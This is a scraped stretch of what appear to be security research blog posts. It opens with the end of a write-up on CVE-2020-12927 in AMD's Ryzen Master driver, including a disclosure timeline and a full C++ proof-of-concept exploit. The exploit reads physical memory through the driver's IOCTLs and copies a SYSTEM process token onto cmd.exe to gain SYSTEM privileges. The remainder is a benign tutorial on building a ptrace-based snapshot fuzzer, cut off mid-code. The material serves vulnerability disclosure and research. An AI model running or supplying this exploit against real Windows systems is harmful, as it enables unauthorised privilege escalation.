        modulus + 0xc,
        &bytes_ret,
        NULL))
    {
        cout << "[!] Failed the read operation to copy the cmd.exe page...\n";
        cout << "[!] Last error: " << hex << GetLastError() << "\n";
        exit(1);
    }

    PBYTE results = (PBYTE)((INT64)output_buff + 0xc);

    PBYTE cmd_page_buff = (PBYTE)VirtualAlloc(
        NULL,
        modulus + 0x8,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
   

    DWORD num_of_bytes = modulus + 0x8;

    INT64 start_address = cmd_token_address;
    cout << "[>] cmd.exe token located at: " << hex << start_address << "\n";
    INT64 new_token_val = system_tokens.token_value[0];
    cout << "[>] Overwriting token with value: " << hex << new_token_val << "\n";

    memcpy(cmd_page_buff, results, modulus);
    memcpy(cmd_page_buff + modulus, (void*)&new_token_val, 0x8);

    // PhysicalAddress
    // NumberOfBytes
    // Buffer to be copied into system space
    BYTE input[0x1000] = { 0 };
    memcpy(input, (void*)&cmd_page, 0x8);
    memcpy(input + 0x8, (void*)&num_of_bytes, 0x4);
    memcpy(input + 0xc, cmd_page_buff, modulus + 0x8);

    if (DeviceIoControl(
        hFile,
        WRITE_IOCTL,
        input,
        modulus + 0x8 + 0xc,
        NULL,
        0,
        &bytes_ret,
        NULL))
    {
        cout << "[>] Write operation succeeded, you should be nt authority/system\n";
    }
    else {
        cout << "[!] Write operation failed, exiting...\n";
        exit(1);
    }

Final Results

You can see the mandatory full exploit screenshot below:

Disclosure Timeline

Big thanks to Tod Beardsley at Rapid7 for his help with the disclosure process!

  • 1 May 2020: Vendor notified of vulnerability
  • 1 May 2020: Vendor acknowledges vulnerability
  • 18 May 2020: Vendor supplies patch, restricting driver access to Administrator group
  • 18 May 2020 - 11 July 2020: Back and forth about CVE assignment
  • 23 Aug 2020 - CVE-2020-12927 assigned
  • 13 Oct 2020 - Joint Disclosure

Exploit Proof of Concept

#include <iostream>
#include <vector>
#include <chrono>
#include <iomanip>
#include <Windows.h>
using namespace std;

#define DEVICE_NAME         "\\\\.\\AMDRyzenMasterDriverV15"
#define WRITE_IOCTL         (DWORD)0x81112F0C
#define READ_IOCTL          (DWORD)0x81112F08
#define START_ADDRESS       (INT64)0x100000000
#define STOP_ADDRESS        (INT64)0x240000000

// Creating vector of hex representation of ImageFileNames of common 
// SYSTEM processes, eg. 'wmlms.exe' = hex('exe.smlw')
vector<INT64> SYSTEM_procs = {
    //0x78652e7373727363,         // csrss.exe
    0x78652e737361736c,         // lsass.exe
    //0x6578652e73736d73,         // smss.exe
    //0x7365636976726573,         // services.exe
    //0x6b6f72426d726753,         // SgrmBroker.exe
    //0x2e76736c6f6f7073,         // spoolsv.exe
    //0x6e6f676f6c6e6977,         // winlogon.exe
    //0x2e74696e696e6977,         // wininit.exe
    //0x6578652e736d6c77,         // wlms.exe
};

typedef struct {
    INT64 start_address;
    DWORD num_of_bytes;
    PBYTE write_buff;
} WRITE_INPUT_BUFFER;

typedef struct {
    INT64 start_address;
    DWORD num_of_bytes;
    char receiving_buff[0x1000];
} READ_INPUT_BUFFER;

// This struct will hold the address of a "Proc" tag's page entry, 
// that Proc chunk's header size, and how far into the page the "Proc" tag is
struct PROC_DATA {
    std::vector<INT64> proc_address;
    std::vector<INT64> page_entry_offset;
    std::vector<INT64> header_size;
};

struct SYSTEM_TOKENS {
    std::vector<INT64> token_name;
    std::vector<INT64> token_value;
} system_tokens;

INT64 cmd_token_address = 0;

HANDLE grab_handle(const char* device_name) {

    HANDLE hFile = CreateFileA(
        device_name,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        cout << "[!] Unable to grab handle to " << DEVICE_NAME << "\n";
        exit(1);
    }
    else
    {
        cout << "[>] Grabbed handle 0x" << hex
            << (INT64)hFile << "\n";

        return hFile;
    }
}

PROC_DATA read_mem(HANDLE hFile) {

    cout << "[>] Reading through RAM for Proc tags...\n";
    DWORD num_of_bytes = 0x1000;

    LPVOID output_buff = VirtualAlloc(NULL,
        0x100c,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    PROC_DATA proc_data;

    int proc_count = 0;
    INT64 iteration = 0;
    while (true) {

        INT64 start_address = START_ADDRESS + (0x1000 * iteration);
        if (start_address >= 0x240000000) {
            cout << "\n[>] Max address reached.\n";
            cout << "[>] Number of iterations: " << dec << iteration << "\n";
            return proc_data;
        }

        READ_INPUT_BUFFER input_buff = { start_address, num_of_bytes };

        DWORD bytes_ret = 0;

        //cout << "[>] User buffer allocated at: 0x" << hex << output_buff << "\n";
        //Sleep(500);

        if (DeviceIoControl(
            hFile,
            READ_IOCTL,
            &input_buff,
            0x40,
            output_buff,
            0x100c,
            &bytes_ret,
            NULL))
        {
            //cout << "[>] DeviceIoControl succeeded!\n";
        }

        iteration++;

        //DebugBreak();
        INT64 results_begin = ((INT64)output_buff + 0xc);
        for (INT64 i = 0; i < 0xF60; i = i + 0x10) {

            PINT64 proc_ptr = (PINT64)(results_begin + 0x4 + i);
            INT32 proc_val = *(PINT32)proc_ptr;

            if (proc_val == 0x636f7250) {

                for (INT64 x = 0; x < 0xA0; x = x + 0x10) {

                    PINT64 header_ptr = PINT64(results_begin + i + x);
                    INT32 header_val = *(PINT32)header_ptr;

                    if (header_val == 0x00B80003) {

                        proc_count++;
                        cout << "\r[>] Proc chunks found: " << dec <<
                            proc_count << flush;

                        INT64 temp_addr = input_buff.start_address + i;

                        // This address might not be page-aligned to 0x1000
                        // so find out how far off from a multiple of 
                        // 0x1000 we are. This value is stored in our 
                        // PROC_DATA struct in the page_entry_offset
                        // member.
                        INT64 modulus = temp_addr % 0x1000;
                        proc_data.page_entry_offset.push_back(modulus);

                        // This is the page-aligned address where, either
                        // small or large paged memory will hold our "Proc"
                        // chunk. We store this as our proc_address member
                        // in PROC_DATA.
                        INT64 page_address = temp_addr - modulus;
                        proc_data.proc_address.push_back(
                            page_address);
                        proc_data.header_size.push_back(x);
                    }
                }
            }
        }
    }
}

void parse_procs(PROC_DATA proc_data, HANDLE hFile) {

    int system_token_count = 0;
    DWORD bytes_ret = 0;
    DWORD num_of_bytes = 0x1000;

    LPVOID output_buff = VirtualAlloc(
        NULL,
        0x100c,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    for (int i = 0; i < proc_data.header_size.size(); i++) {

        INT64 start_address = proc_data.proc_address[i];
        READ_INPUT_BUFFER input_buff = { start_address, num_of_bytes };

        if (DeviceIoControl(
            hFile,
            READ_IOCTL,
            &input_buff,
            0x40,
            output_buff,
            0x100c,
            &bytes_ret,
            NULL))
        {
            //cout << "[>] DeviceIoControl succeeded!\n";
        }

        INT64 results_begin = ((INT64)output_buff + 0xc);

        INT64 imagename_address = results_begin +
            proc_data.header_size[i] + proc_data.page_entry_offset[i]
            + 0x450; //ImageFileName
        INT64 imagename_value = *(PINT64)imagename_address;

        INT64 proc_token_addr = results_begin +
            proc_data.header_size[i] + proc_data.page_entry_offset[i]
            + 0x360; //Token
        INT64 proc_token = *(PINT64)proc_token_addr;

        INT64 pid_addr = results_begin +
            proc_data.header_size[i] + proc_data.page_entry_offset[i]
            + 0x2e8; //UniqueProcessId
        INT64 pid_value = *(PINT64)pid_addr;

        int sys_result = count(SYSTEM_procs.begin(), SYSTEM_procs.end(),
            imagename_value);

        if (sys_result != 0) {

            system_token_count++;
            system_tokens.token_name.push_back(imagename_value);
            system_tokens.token_value.push_back(proc_token);
        }

        if (imagename_value == 0x6578652e646d63) {
            //cout << "[>] cmd.exe found!\n";
            cmd_token_address = (start_address + proc_data.header_size[i] +
                proc_data.page_entry_offset[i] + 0x360);
        }
    }

    if (system_tokens.token_name.size() != 0 and cmd_token_address != 0) {
        cout << "\n[>] cmd.exe and SYSTEM token information found!\n";
        cout << "[>] Let's swap tokens!\n";
    }
    else if (cmd_token_address == 0) {
        cout << "[!] No cmd.exe token address found, exiting...\n";
        exit(1);
    }
}

void write(HANDLE hFile) {

    DWORD modulus = cmd_token_address % 0x1000;
    INT64 cmd_page = cmd_token_address - modulus;
    DWORD bytes_ret = 0x0;
    DWORD read_num_bytes = modulus;

    PBYTE output_buff = (PBYTE)VirtualAlloc(
        NULL,
        modulus + 0xc,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    READ_INPUT_BUFFER input_buff = { cmd_page, read_num_bytes };

    if (!DeviceIoControl(
        hFile,
        READ_IOCTL,
        &input_buff,
        0x40,
        output_buff,
        modulus + 0xc,
        &bytes_ret,
        NULL))
    {
        cout << "[!] Failed the read operation to copy the cmd.exe page...\n";
        cout << "[!] Last error: " << hex << GetLastError() << "\n";
        exit(1);
    }

    PBYTE results = (PBYTE)((INT64)output_buff + 0xc);

    PBYTE cmd_page_buff = (PBYTE)VirtualAlloc(
        NULL,
        modulus + 0x8,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
   

    DWORD num_of_bytes = modulus + 0x8;

    INT64 start_address = cmd_token_address;
    cout << "[>] cmd.exe token located at: " << hex << start_address << "\n";
    INT64 new_token_val = system_tokens.token_value[0];
    cout << "[>] Overwriting token with value: " << hex << new_token_val << "\n";

    memcpy(cmd_page_buff, results, modulus);
    memcpy(cmd_page_buff + modulus, (void*)&new_token_val, 0x8);

    // PhysicalAddress
    // NumberOfBytes
    // Buffer to be copied into system space
    BYTE input[0x1000] = { 0 };
    memcpy(input, (void*)&cmd_page, 0x8);
    memcpy(input + 0x8, (void*)&num_of_bytes, 0x4);
    memcpy(input + 0xc, cmd_page_buff, modulus + 0x8);

    if (DeviceIoControl(
        hFile,
        WRITE_IOCTL,
        input,
        modulus + 0x8 + 0xc,
        NULL,
        0,
        &bytes_ret,
        NULL))
    {
        cout << "[>] Write operation succeeded, you should be nt authority/system\n";
    }
    else {
        cout << "[!] Write operation failed, exiting...\n";
        exit(1);
    }
}

int main()
{
    srand((unsigned)time(0));
    HANDLE hFile = grab_handle(DEVICE_NAME);

    PROC_DATA proc_data = read_mem(hFile);

    cout << "\n[>] Parsing procs...\n";
    parse_procs(proc_data, hFile);

    write(hFile);
}

Fuzzing Like A Caveman 4: Snapshot/Code Coverage Fuzzer!

13 June 2020 at 04:00
By: h0mbre

Introduction

Last time we blogged, we had a dumb fuzzer that would test an intentionally vulnerable program that would perform some checks on a file and if the input file passed a check, it would progress to the next check, and if the input passed all checks the program would segfault. We discovered the importance of code coverage and how it can help reduce exponentially rare occurences during fuzzing into linearly rare occurences. Let’s get right into how we improved our dumb fuzzer!

Big thanks to @gamozolabs for all of his content that got me hooked on the topic.

Performance

First things first, our dumb fuzzer was slow as hell. If you remember, we were averaging about 1,500 fuzz cases per second with our dumb fuzzer. During my testing, AFL in QEMU mode (simulating not having source code available for compilation instrumentation) was hovering around 1,000 fuzz cases per second. This makes sense, since AFL does way more than our dumb fuzzer, especially in QEMU mode where we are emulating a CPU and providing code coverage.

Our target binary (-> HERE <-) would do the following:

  • extract the bytes from a file on disk into a buffer
  • perform 3 checks on the buffer to see if the indexes that were checked matched hardcoded values
  • segfaulted if all checks were passed, exit if one of the checks failed

Our dumb fuzzer would do the following:

  • extract bytes from a valid jpeg on disk into a byte buffer
  • mutate 2% of the bytes in the buffer by random byte overwriting
  • write the mutated file to disk
  • feed the mutated file to the target binary by executing a fork() and execvp() each fuzzing iteration

As you can see, this is a lot of file system interactions and syscalls. Let’s use strace on our vulnerable binary and see what syscalls the binary makes (for this post, I’ve hardcoded the .jpeg file into the vulnerable binary so that we don’t have to use command line arguments for ease of testing):

execve("/usr/bin/vuln", ["vuln"], 0x7ffe284810a0 /* 52 vars */) = 0
brk(NULL)                               = 0x55664f046000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=88784, ...}) = 0
mmap(NULL, 88784, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f0793d2e000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\34\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2030544, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f0793d2c000
mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f079372c000
mprotect(0x7f0793913000, 2097152, PROT_NONE) = 0
mmap(0x7f0793b13000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f0793b13000
mmap(0x7f0793b19000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f0793b19000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7f0793d2d500) = 0
mprotect(0x7f0793b13000, 16384, PROT_READ) = 0
mprotect(0x55664dd97000, 4096, PROT_READ) = 0
mprotect(0x7f0793d44000, 4096, PROT_READ) = 0
munmap(0x7f0793d2e000, 88784)           = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
brk(NULL)                               = 0x55664f046000
brk(0x55664f067000)                     = 0x55664f067000
write(1, "[>] Analyzing file: Canon_40D.jp"..., 35[>] Analyzing file: Canon_40D.jpg.
) = 35
openat(AT_FDCWD, "Canon_40D.jpg", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=7958, ...}) = 0
fstat(3, {st_mode=S_IFREG|0644, st_size=7958, ...}) = 0
lseek(3, 4096, SEEK_SET)                = 4096
read(3, "\v\260\v\310\v\341\v\371\f\22\f*\fC\f\\\fu\f\216\f\247\f\300\f\331\f\363\r\r\r&"..., 3862) = 3862
lseek(3, 0, SEEK_SET)                   = 0
write(1, "[>] Canon_40D.jpg is 7958 bytes."..., 33[>] Canon_40D.jpg is 7958 bytes.
) = 33
read(3, "\377\330\377\340\0\20JFIF\0\1\1\1\0H\0H\0\0\377\341\t\254Exif\0\0II"..., 4096) = 4096
read(3, "\v\260\v\310\v\341\v\371\f\22\f*\fC\f\\\fu\f\216\f\247\f\300\f\331\f\363\r\r\r&"..., 4096) = 3862
close(3)                                = 0
write(1, "[>] Check 1 no.: 2626\n", 22[>] Check 1 no.: 2626
) = 22
write(1, "[>] Check 2 no.: 3979\n", 22[>] Check 2 no.: 3979
) = 22
write(1, "[>] Check 3 no.: 5331\n", 22[>] Check 3 no.: 5331
) = 22
write(1, "[>] Check 1 failed.\n", 20[>] Check 1 failed.
)   = 20
write(1, "[>] Char was 00.\n", 17[>] Char was 00.
)      = 17
exit_group(-1)                          = ?
+++ exited with 255 +++

You can see that during the process of the target binary, we run plenty of code before we even open the input file. Looking through the strace output, we don’t even open the input file until we’ve run the following syscalls:

execve
brk
access
access
openat
fstat
mmap
close
access
openat
read
opeant
read
fstat
mmap
mmap
mprotect
mmap
mmap
arch_prctl
mprotect
mprotect
mprotect
munmap
fstat
brk
brk
write

After all of those syscalls, we finally open the file from the disk to read in the bytes with this line from the strace output:

openat(AT_FDCWD, "Canon_40D.jpg", O_RDONLY) = 3

So keep in mind, we run these syscalls every single fuzz iteration with our dumb fuzzer. Our dumb fuzzer (-> HERE <-) would write a file to disk every iteration, and spawn an instance of the target program with fork() + execvp(). The vulnerable binary would run all of the start up syscalls and finally read in the file from disk every iteration. So thats a couple dozen syscalls and two file system interactions every single fuzzing iteration. No wonder our dumb fuzzer was so slow.

Rudimentary Snapshot Mechanism

I started to think about how we could save time when fuzzing such a simple target binary and thought if I could just figure out how to take a snapshot of the program’s memory after it had already read the file off of disk and had stored the contents in its heap, I could just save that process state and manually insert a new fuzzcase in the place of the bytes that the target had read in and then have the program run until it reaches an exit() call. Once the target hits the exit call, I would rewind the program state to what it was when I captured the snapshot and insert a new fuzz case and then do it all over again.

You can see how this would improve performance. We would skip all of the target binary startup overhead and we would completely bypass all file system interactions. A huge difference would be we would only make one call to fork() which is an expensive syscall. For 100,000 fuzzing iterations let’s say, we’d go from 200,000 filesystem interactions (one for the dumb fuzzer to create a mutated.jpeg on disk, one for the target to read the mutated.jpeg) and 100,000 fork() calls to 0 file system interactions and only the initial fork().

In summary, our fuzzing process should look like this:

  1. Start target binary, but break on first instruction before anything runs
  2. Set breakpoints on a ‘start’ and ‘end’ location (start will be after the program reads in bytes from the file on disk, end will be the address of exit())
  3. Run the program until it hits the ‘start’ breakpoint
  4. Collect all writable memory sections of the process in a buffer
  5. Capture all register states
  6. Insert our fuzzcase into the heap overwriting the bytes that the program read in from file on disk
  7. Resume target binary until it reaches ‘end’ breakpoint
  8. Rewind process state to where it was at ‘start’
  9. Repeat from step 6

We are only doing steps 1-5 only once, so this routine doesn’t need to be very fast. Steps 6-9 are where the fuzzer will spend 99% of its time so we need this to be fast.

Writing a Simple Debugger with Ptrace

In order to implement our snapshot mechanism, we’ll need to use the very intuitive, albeit apparently slow and restrictive, ptrace() interface. When I was getting started writing the debugger portion of the fuzzer a couple weeks ago, I leaned heavily on this blog post by Eli Bendersky which is a great introduction to ptrace() and shows you how to create a simple debugger.

Breakpoints

The debugger portion of our code doesn’t really need much functionality, it really only needs to be able to insert breakpoints and remove breakpoints. The way that you use ptrace() to set and remove breakpoints is to overwrite a single-byte instruction at at an address with the int3 opcode \xCC. However, if you just overwrite the value there while setting a breakpoint, it will be impossible to remove the breakpoint because you won’t know what value was held there originally and so you won’t know what to overwrite \xCC with.

To begin using ptrace(), we spawn a second process with fork().

pid_t child_pid = fork();
if (child_pid == 0) {
    //we're the child process here
    execute_debugee(debugee);
}

Now we need to have the child process volunteer to be ‘traced’ by the parent process. This is done with the PTRACE_TRACEME argument, which we’ll use inside our execute_debugee function:

// request via PTRACE_TRACEME that the parent trace the child
long ptrace_result = ptrace(PTRACE_TRACEME, 0, 0, 0);
if (ptrace_result == -1) {
    fprintf(stderr, "\033[1;35mdragonfly>\033[0m error (%d) during ", errno);
    perror("ptrace");
    exit(errno);
}

The rest of the function doesn’t involve ptrace but I’ll go ahead and show it here because there is an important function to forcibly disable ASLR in the debuggee process. This is crucial as we’ll be leverage breakpoints at static addresses that cannot change process to process. We disable ASLR by calling personality() with ADDR_NO_RANDOMIZE. Separately, we’ll route stdout and stderr to /dev/null so that we don’t muddy our terminal with the target binary’s output.

// disable ASLR
int personality_result = personality(ADDR_NO_RANDOMIZE);
if (personality_result == -1) {
    fprintf(stderr, "\033[1;35mdragonfly>\033[0m error (%d) during ", errno);
    perror("personality");
    exit(errno);
}
 
// dup both stdout and stderr and send them to /dev/null
int fd = open("/dev/null", O_WRONLY);
dup2(fd, 1);
dup2(fd, 2);
close(fd);
 
// exec our debugee program, NULL terminated to avoid Sentinel compilation
// warning. this replaces the fork() clone of the parent with the 
// debugee process 
int execl_result = execl(debugee, debugee, NULL);
if (execl_result == -1) {
    fprintf(stderr, "\033[1;35mdragonfly>\033[0m error (%d) during ", errno);
    perror("execl");
    exit(errno);
}

So first thing’s first, we need a way to grab the one-byte value at an address before we insert our breakpoint. For the fuzzer, I developed a header file and source file I called ptrace_helpers to help ease the development process of using ptrace(). To grab the value, we’ll grab the 64-bit value at the address but only care about the byte all the way to the right. (I’m using the type long long unsigned because that’s how register values are defined in <sys/user.h> and I wanted to keep everything the same).

long long unsigned get_value(pid_t child_pid, long long unsigned address) {
    
    errno = 0;
    long long unsigned value = ptrace(PTRACE_PEEKTEXT, child_pid, (void*)address, 0);
    if (value == -1 && errno != 0) {
        fprintf(stderr, "dragonfly> Error (%d) during ", errno);
        perror("ptrace");
        exit(errno);
    }

    return value;	
}

So this function will use the PTRACE_PEEKTEXT argument to read the value located at address in the child process (child_pid) which is our target. So now that we have this value, we can save it off and insert our breakpoint with the following code:

void set_breakpoint(long long unsigned bp_address, long long unsigned original_value, pid_t child_pid) {

    errno = 0;
    long long unsigned breakpoint = (original_value & 0xFFFFFFFFFFFFFF00 | 0xCC);
    int ptrace_result = ptrace(PTRACE_POKETEXT, child_pid, (void*)bp_address, (void*)breakpoint);
    if (ptrace_result == -1 && errno != 0) {
        fprintf(stderr, "dragonfly> Error (%d) during ", errno);
        perror("ptrace");
        exit(errno);
    }
}

You can see that this function will take our original value that we gathered with the previous function and performs two bitwise operations to keep the first 7 bytes intact but then replace the last byte with \xCC. Notice that we are now using PTRACE_POKETEXT. One of the frustrating features of the ptrace() interface is that we can only read and write 8 bytes at a time!

So now that we can set breakpoints, the last function we need to implement is one to remove breakpoints, which would entail overwriting the int3 with the original byte value.

void revert_breakpoint(long long unsigned bp_address, long long unsigned original_value, pid_t child_pid) {

    errno = 0;
    int ptrace_result = ptrace(PTRACE_POKETEXT, child_pid, (void*)bp_address, (void*)original_value);
    if (ptrace_result == -1 && errno != 0) {
        fprintf(stderr, "dragonfly> Error (%d) during ", errno);
        perror("ptrace");
        exit(errno);
    }
}

Again, using PTRACE_POKETEXT, we can overwrite the \xCC with the original byte value. So now we have the ability to set and remove breakpoints.

Lastly, we’ll need a way to resume execution in the debuggee. This can be accomplished by utilizing the PTRACE_CONT argument in ptrace() as follows:

void resume_execution(pid_t child_pid) {

    int ptrace_result = ptrace(PTRACE_CONT, child_pid, 0, 0);
    if (ptrace_result == -1) {
        fprintf(stderr, "dragonfly> Error (%d) during ", errno);
        perror("ptrace");
        exit(errno);
    }
}

An important thing to note is, if we hit a breakpoint at address 0x000000000000000, rip will actually be at 0x0000000000000001. So after reverting our overwritten instruction to its previous value, we’ll also need to subtract 1 from rip before resuming execution, we’ll learn how to do this via ptrace in the next section.

Let’s now learn how we can utilize ptrace and the /proc pseudo files to create a snapshot of our target!

Snapshotting with ptrace and /proc

Register States

Another cool feature of ptrace() is the ability to capture and set register states in a debuggee process. We can do both of those things respectively with the helper functions I placed in ptrace_helpers.c:

// retrieve register states
struct user_regs_struct get_regs(pid_t child_pid, struct user_regs_struct registers) {                                                                                                 
    int ptrace_result = ptrace(PTRACE_GETREGS, child_pid, 0, &registers);                                                                              
    if (ptrace_result == -1) {                                                                              
        fprintf(stderr, "dragonfly> Error (%d) during ", errno);                                                                         
        perror("ptrace");                                                                              
        exit(errno);                                                                              
    }

    return registers;                                                                              
}
// set register states
void set_regs(pid_t child_pid, struct user_regs_struct registers) {

    int ptrace_result = ptrace(PTRACE_SETREGS, child_pid, 0, &registers);
    if (ptrace_result == -1) {
        fprintf(stderr, "dragonfly> Error (%d) during ", errno);
        perror("ptrace");
        exit(errno);
    }
}

The struct user_regs_struct is defined in <sys/user.h>. You can see we use PTRACE_GETREGS and PTRACE_SETREGS respectively to retrieve register data and set register data. So with these two functions, we’ll be able to create a struct user_regs_struct of snapshot register values when we are sitting at our ‘start’ breakpoint and when we reach our ‘end’ breakpoint, we’ll be able to revert the register states (most imporantly rip) to what they were when snapshotted.

Snapshotting Writable Memory Sections with /proc

Now that we have a way to capture register states, we’ll need a way to capture writable memory states for our snapshot. I did this by interacting with the /proc pseudo files. I used GDB to break on the first function that peforms a check in vuln, importantly this function is after vuln reads the jpeg off disk and will serve as our ‘start’ breakpoint. Once we break here in GDB, we can cat the /proc/$pid/maps file to get a look at how memory is mapped in the process (keep in mind GDB also forces ASLR off using the same method we did in our debugger). We can see the output here grepping for writable sections (ie, sections that could be clobbered during our fuzzcase run):

[email protected]:~/fuzzing/dragonfly_dir$ cat /proc/12011/maps | grep rw
555555756000-555555757000 rw-p 00002000 08:01 786686                     /home/h0mbre/fuzzing/dragonfly_dir/vuln
555555757000-555555778000 rw-p 00000000 00:00 0                          [heap]
7ffff7dcf000-7ffff7dd1000 rw-p 001eb000 08:01 1055012                    /lib/x86_64-linux-gnu/libc-2.27.so
7ffff7dd1000-7ffff7dd5000 rw-p 00000000 00:00 0 
7ffff7fe0000-7ffff7fe2000 rw-p 00000000 00:00 0 
7ffff7ffd000-7ffff7ffe000 rw-p 00028000 08:01 1054984                    /lib/x86_64-linux-gnu/ld-2.27.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]

So that’s seven distinct sections of memory. You’ll notice that the heap is one of the sections. It is important to realize that our fuzzcase will be inserted into the heap, but the address in the heap that stores the fuzzcase will not be the same in our fuzzer as it is in GDB. This is likely due to some sort of environment variable difference between the two debuggers I think. If we look in GDB when we break on check_one() in vuln, we see that rax is a pointer to the beginning of our input, in this case the Canon_40D.jpg.

$rax   : 0x00005555557588b0  →  0x464a1000e0ffd8ff

That pointer, 0x00005555557588b0, is located in the heap. So all I had to do to find out where that pointer was in our debugger/fuzzer, was just break at the same point and use ptrace() to retrieve the rax value.

I would break on check_one and then open /proc/$pid/maps to get the offsets within the program that contain writable memory sections, and then I would open /proc/$pid/mem and read from those offsets into a buffer to store the writable memory. This code was stored in a source file called snapshot.c which contained some definitions and functions to both capture snapshots and restore them. For this part, capturing writable memory, I used the following definitions and function:

unsigned char* create_snapshot(pid_t child_pid) {
 
    struct SNAPSHOT_MEMORY read_memory = {
        {
            // maps_offset
            0x555555756000,
            0x7ffff7dcf000,
            0x7ffff7dd1000,
            0x7ffff7fe0000,
            0x7ffff7ffd000,
            0x7ffff7ffe000,
            0x7ffffffde000
        },
        {
            // snapshot_buf_offset
            0x0,
            0xFFF,
            0x2FFF,
            0x6FFF,
            0x8FFF,
            0x9FFF,
            0xAFFF
        },
        {
            // rdwr length
            0x1000,
            0x2000,
            0x4000,
            0x2000,
            0x1000,
            0x1000,
            0x21000
        }
    };  
 
    unsigned char* snapshot_buf = (unsigned char*)malloc(0x2C000);
 
    // this is just /proc/$pid/mem
    char proc_mem[0x20] = { 0 };
    sprintf(proc_mem, "/proc/%d/mem", child_pid);
 
    // open /proc/$pid/mem for reading
    // hardcoded offsets are from typical /proc/$pid/maps at main()
    int mem_fd = open(proc_mem, O_RDONLY);
    if (mem_fd == -1) {
        fprintf(stderr, "dragonfly> Error (%d) during ", errno);
        perror("open");
        exit(errno);
    }
 
    // this loop will:
    //  -- go to an offset within /proc/$pid/mem via lseek()
    //  -- read x-pages of memory from that offset into the snapshot buffer
    //  -- adjust the snapshot buffer offset so nothing is overwritten in it
    int lseek_result, bytes_read;
    for (int i = 0; i < 7; i++) {
        //printf("dragonfly> Reading from offset: %d\n", i+1);
        lseek_result = lseek(mem_fd, read_memory.maps_offset[i], SEEK_SET);
        if (lseek_result == -1) {
            fprintf(stderr, "dragonfly> Error (%d) during ", errno);
            perror("lseek");
            exit(errno);
        }
 
        bytes_read = read(mem_fd,
            (unsigned char*)(snapshot_buf + read_memory.snapshot_buf_offset[i]),
            read_memory.rdwr_length[i]);
        if (bytes_read == -1) {
            fprintf(stderr, "dragonfly> Error (%d) during ", errno);
            perror("read");
            exit(errno);
        }
    }
 
    close(mem_fd);
    return snapshot_buf;
}

You can see that I hardcoded all the offsets and the lengths of the sections. Keep in mind, this doesn’t need to be fast. We’re only capturing a snapshot once, so it’s ok to interact with the file system. So we’ll loop through these 7 offsets and lengths and write them all into a buffer called snapshot_buf which will be stored in our fuzzer’s heap. So now we have both the register states and the memory states of our process as it begins check_one (our ‘start’ breakpoint).

Let’s now figure out how to restore the snapshot when we reach our ‘end’ breakpoint.

Restoring Snapshot

To restore the process memory state, we could just write to /proc/$pid/mem the same way we read from it; however, this portion needs to be fast since we are doing this every fuzzing iteration now. Iteracting with the file system every fuzzing iteration will slow us down big time. Luckily, since Linux kernel version 3.2, there is support for a much faster, process-to-process, memory reading/writing API that we can leverage called process_vm_writev(). Since this process works directly with another process and doesn’t traverse the kernel and doesn’t involve the file system, it will greatly increase our write speeds.

It’s kind of confusing looking at first but the man page example is really all you need to understand how it works, I’ve opted to just hardcode all of the offsets since this fuzzer is simply a POC. and we can restore the writable memory as follows:

void restore_snapshot(unsigned char* snapshot_buf, pid_t child_pid) {
 
    ssize_t bytes_written = 0;
    // we're writing *from* 7 different offsets within snapshot_buf
    struct iovec local[7];
    // we're writing *to* 7 separate sections of writable memory here
    struct iovec remote[7];
 
    // this struct is the local buffer we want to write from into the 
    // struct that is 'remote' (ie, the child process where we'll overwrite
    // all of the non-heap writable memory sections that we parsed from 
    // proc/$pid/memory)
    local[0].iov_base = snapshot_buf;
    local[0].iov_len = 0x1000;
    local[1].iov_base = (unsigned char*)(snapshot_buf + 0xFFF);
    local[1].iov_len = 0x2000;
    local[2].iov_base = (unsigned char*)(snapshot_buf + 0x2FFF);
    local[2].iov_len = 0x4000;
    local[3].iov_base = (unsigned char*)(snapshot_buf + 0x6FFF);
    local[3].iov_len = 0x2000;
    local[4].iov_base = (unsigned char*)(snapshot_buf + 0x8FFF);
    local[4].iov_len = 0x1000;
    local[5].iov_base = (unsigned char*)(snapshot_buf + 0x9FFF);
    local[5].iov_len = 0x1000;
    local[6].iov_base = (unsigned char*)(snapshot_buf + 0xAFFF);
    local[6].iov_len = 0x21000;
 
    // just hardcoding the base addresses that are writable memory
    // that we gleaned from /proc/pid/maps and their lengths
    remote[0].iov_base = (void*)0x555555756000;
    remote[0].iov_len = 0x1000;
    remote[1].iov_base = (void*)0x7ffff7dcf000;
    remote[1].iov_len = 0x2000;
